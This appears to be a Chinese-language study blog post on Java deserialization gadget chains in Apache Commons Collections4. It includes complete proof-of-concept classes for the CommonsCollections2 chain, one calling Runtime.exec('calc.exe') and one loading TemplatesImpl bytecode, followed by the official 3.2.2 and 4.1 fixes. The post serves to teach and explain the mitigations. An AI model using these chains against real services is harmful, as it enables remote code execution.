Commons-Collections4与漏洞修复 今天继续来学P牛的Java安全漫谈的第16篇
在2015年底Commons-Collections反序列化被提出时,Apache Commons Collections有下面两个版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
groupId
和artifactId
都变了。前者是Commons Collections
的老版本包,当前版本号是3.2.1;后者是官方在2013年推出的版本,当时版本号为4.0。
因为官方认为旧的commons-collections有一些架构和API设计上的问题,但为了修复这些问题,会产生大量不能向前兼容的改动。所以commocns-collections4并不认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间并不冲突,可以共存于同一个项目中。
那么既然在3.2.1中存在反序列化,在4.0中是否也存在呢?
Commons-Collections4的改动 那么我们可以先试试老的利用链在commons-collections4中是否仍然能够使用。因为这两者可以共存,那么我们就可以将两个包安装到同一个项目中进行比较:
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
在老的Gadget中所依赖的包都是org.apache.commons.sollections
,新的包名是org.apache.commons.collections4
那么我们用CommonsCollections6举个栗子,可以直接骂代码复制过来,然后将所有的import org.apache.commons.collections.*
改为import org.apache.commons.collections4.*
。
这里我们就会发现原来的LazyMap的decorate
方法没了,那我们去看一下原来的decorate定义:
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
那我们回去到4中找一下有没有类似的,找一下就会发现有一个叫lazyMap的方法与它基本一样
1 2 3 public static <V, K> LazyMap<K, V> lazyMap (Map<K, V> map, Transformer<? super K, ? extends V> factory) { return new LazyMap (map, factory); }
所以我们将Gadget中的LazyMap.decorate改成LazyMap.lazyMap就可以正常使用了,同理我们也可以依此修改CommonsCollections1、CommonsCollections3
PriorityQueue利用链 ysoserial
为commons-collections4准备了两条新的利用链,那就是CommonsCollections2和CommonsCollections4。
commons-collections这个包之所以能攒出这么多利用链来,除了其使用量大,技术上更是因为其中包含了一些可以执行仍以方法的Transformer 。所以,在commons-collections中找Gadaget的过程,可以简化为:找一条从Serializable#readObject()
方法到Transformer#transform()
方法的调用链
认识到这个之后我们再来看CommonsCollections2,其中有用到两个关键类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
那这两个类有什么特点呢?
java.util.PriorityQueue
是一个有自己的readObject()
方法的类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
org.apache.commons.collections4.comparators.TransformingComparator
中有调用transform()
方法的函数:
1 2 3 4 5 public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
所以CommonsCollections2实际就是一条从PriorityQueue
到Transforming
的利用链
我们来看一下他们是怎么连接起来的。PriorityQueue#readObject()
中调用类heapify()
方法,在heapify()
中调用类siftDown()
,siftDown()
中调用类siftDownUsingComparator()
,siftDownUsingComparator()
中调用的comparator.compare()
,于是就连接到上面的TransformingComparator
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
总结一下:
java.util.PriorityQueue
是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树反序列化时为什么需要调用heapify()
方法?为了反序列化后。需要恢复/保证这个结构的顺序 排序是靠将大的元素下移实现的。siftDown()
是将节点下移的函数,而comparator.compare()
用来比较两个元素大小 TransformingComparator
实现了java.util.Comparator
接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()
中就是使用这个接口的compare()
方法比较树的节点。按照这个思路我们开始编写POC,那么首先还是创建一个Transformer:
1 2 3 4 5 6 7 8 9 Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers);
再创建一个TransformingComparator
,传入我们的Transformer:
1 Comparator comparator = new TransformingComparator (transformerChain);
然后实例化PriorityQueue
对象,第一个参数是初始化时的大小,至少需要2个元素才会触发排序和比较,所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator:
1 2 3 PriorityQueue queue = new PriorityQueue (2 , comparator);queue.add(1 ); queue.add(2 );
最后将真正的恶意Transformer设置上:
1 setFieldValue(transformerChain, "iTransformers" , transformers);
完整的example如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.functors.ChainedTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CommonsCollections2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
改进PriorityQueue利用链 在TemplatesImpl在Shiro中的利用 这篇中提到过,用TemplatesImpl
可以构造出无Transformer数组的利用链,我们尝试用同样的方法将这个利用链也改造一下
首先,还是创建TemplatesImpl
对象:
1 2 3 4 TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][]{getBytescode()}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ());
然后创建一个人畜无害的InvokerTransformer
对象,并用它实例化Comparator
:
1 2 Transformer transformer = new InvokerTransformer ("toString" , null , null );Comparator comparator = new TransformingComparator (transformer);
那还是像上一节一样实例化PriorityQueue
,但是此时向队列里添加的元素就是我们前面创建的TemplatesImpl
对象了:
1 2 3 PriorityQueue queue = new PriorityQueue (2 , comparator);queue.add(obj); queue.add(obj);
因为我们这里无法再使用Transformer数组,所以也就不能用ConstantTransformer
来初始化变量,需要接受外部传入的变量。而在Comparator#compare()
时,队列里的元素需要作为参数传入transform()
方法,这就是传给TemplatesImpl#newTransformer
的参数。
最后,将toString
方法改成恶意方法newTransformer
;
1 setFieldValue(transformer, "iMethodName" , "newTransformer" );
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.util.XMLAttributesIteratorImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import sun.text.resources.ga.FormatData_ga;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CommonsCollections2TemplatesImpl { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } protected static byte [] getBytescode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(org.example.test.testCalc.class.getName()); return clazz.toBytecode(); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{getBytescode()}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("toString" , null , null ); Comparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
我刚开始试这两个链的时候并没有弹出计算机,因为我一开始在我的配置文件里写的是4.0版本,但在之后用某一个Commons4的类的时候爆红又重新引入了一个4.1版本的没有在意,然后出现了一些奇怪的报错:
那么就引出我们下面要讲的修复方法
Commons-Collections反序列化官方修复方法 在了解了Commons-Collections4的几种Gadget原理后,我们来思考几个问题:
PriorityQueue的利用链是否支持在Commons-Collections 3中使用 Apache Commons Collections官方是如何修复反序列化漏洞的? 首先第一个问题是不能的。因为在这条链中有个关键类org.apache.commons.collections4.comparator.TransformingComparator
,在4.0以前版本中是没有实现Serializable
接口的,无法在序列化中使用。
第二个问题,官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新版本4.1和3.2.2
先看看3.2.2,通过diff 可以发现,新版代码中增加了一个方法FunctorUtils#checkUnsafeSerialization
,他用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常。
这个检查在常⻅的危险Transformer类 (InstantiateTransformer
、InvokerTransformer
、PrototypeFactory
、CloneTransformer
等)的readObject
⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:
1 Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
再看4.1,修复⽅式⼜不⼀样。4.1里,这几个危险Transformer类不再实现Serializable
接口,也就是说,他们几个彻底无法序列化和反序列化了。